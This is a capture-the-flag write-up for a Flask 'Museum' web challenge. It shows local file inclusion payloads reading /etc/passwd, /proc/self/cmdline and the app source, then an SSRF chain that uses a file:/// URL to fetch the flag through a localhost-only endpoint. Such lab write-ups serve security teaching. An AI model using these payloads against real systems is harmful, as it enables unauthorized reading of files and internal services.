Info
Name | Difficulty | Author |
---|---|---|
Museum | Medium | JohnHammond |
Check out our museum of artifacts! Apparently, soon they will allow public submissions, just like in Animal Crossing! Retrive the flag out of
/flag.txt
in the root of the file system.
Recon
The first thing we see when we enter the website is what appears to be a gallery with different images and a link to upload ourselves to the museum.
If we click on View to see one of the images in particular, we come across the following page:
What is most striking is the URL ?artifact=angwy.jpg
. After some testing, I realized that the web is vulnerable to Local File Inclusion
, and with a url like ?artifact=//etc/passwd
we can extract information from the system.
Local File Inclusion
Obviously, the first thing I tried to do was to extract the flag.txt
, but it seems to be blocked when it detects that string in the url.
After a while of walking around and not finding anything that worked for me, I tried to extract information on how the application was launched using ?artifact=//proc/self/cmdline
.
1
python3/home/museum/app.py
We can see that the application is made with python, let’s get the application code using ?artifact=//home/museum/app.py
.
Source Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request
app = Flask(__name__)
@app.route('/')
def index():
artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
return render_template('index.html', artifacts=artifacts)
@app.route("/public/<file_name>")
def public_sendfile(file_name):
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return "Error retrieving file", 404
return send_file(file_path)
@app.route('/browse', methods=['GET'])
def browse():
file_name = request.args.get('artifact')
if not file_name:
return "Please specify the artifact to view.", 400
artifact_error = "<h1>Artifact not found.</h1>"
if ".." in file_name:
return artifact_error, 404
if file_name[0] == '/' and file_name[1].isalpha():
return artifact_error, 404
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return artifact_error, 404
if 'flag.txt' in file_path:
return "Sorry, sensitive artifacts are not made visible to the public!", 404
with open(file_path, 'rb') as f:
data = f.read()
image_types = ['jpg', 'png', 'gif', 'jpeg']
if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
is_image = True
else:
is_image = False
return render_template('view.html', data=data, filename=file_name, is_image=is_image)
@app.route('/submit')
def submit():
return render_template('submit.html')
@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
url = request.args.get('url')
if not url:
return "URL is required.", 400
response = submission_fetch(url)
return response
def submission_fetch(url, filename=None):
return urllib.request.urlretrieve(url, filename=filename)
@app.route('/private_submission')
def private_submission():
if request.remote_addr != '127.0.0.1':
return redirect(url_for('submit'))
url = request.args.get('url')
file_name = request.args.get('filename')
if not url or not file_name:
return "Please specify a URL and a file name.", 400
try:
submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
except Exception as e:
return str(e), 500
return "Submission received.", 200
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=5000)
The first interesting thing is this line, in which we can see why we could not directly extract the flag.
1
2
if 'flag.txt' in file_path:
return "Sorry, sensitive artifacts are not made visible to the public!", 404
We see two more endpoints, /private_submission_fetch
and /private_submission
. The second one cannot be called directly, because it checks that the request comes from 127.0.0.1
.
On the other hand, we can call the first one, and it expects us to send it a parameter called url
and this calls submission_fetch()
which is the function that makes the request.
Server Side Request Forgery
Given this circumstance, it is possible to ask /private_submission_fetch
to make a request to itself from localhost to the /private_submission
endpoint in order to fetch the flag.txt
.
Crafting the Payload
But first we have to create the url that private_submission will need, as we can see it expects two parameters:
url
has to be the file we want to open, in our case flag.txt, for this the url will beurl=file:///flag.txt
filename
will be the name that we will see in the main page and that we will visit later, we have to put a name different fromflag.txt
, for examplefilename=leak.txt
With all this in mind, the final url should look something like this: http://127.0.0.1:5000/?url=file:///flag.txt&filename=leak.txt
Exploitation
Theoretically, the payload is correct but it fails continuously and does not create the new leak.txt
entry. After a while of testing I realized that I had to do URL encoding
of the whole parameter part of the url, so that it looks like this:
1
http://challenge.nahamcon.com:30622/private_submission_fetch?url=http%3A%2F%2F127.0.0.1%3A5000%2Fprivate_submission%3Furl%3Dfile%3A%2F%2F%2Fflag.txt%26filename%3Dleak.txt
Even though the response is still an Internal Server Error
, if we go to the main page, we can see that now a new leak.txt
entry has been created.
And if we go inside this one, now we can see the flag.
Final Thoughts
An entertaining challenge, a bit tedious the SSRF part due to the error messages and the URL encode issue but it was a matter of time and testing.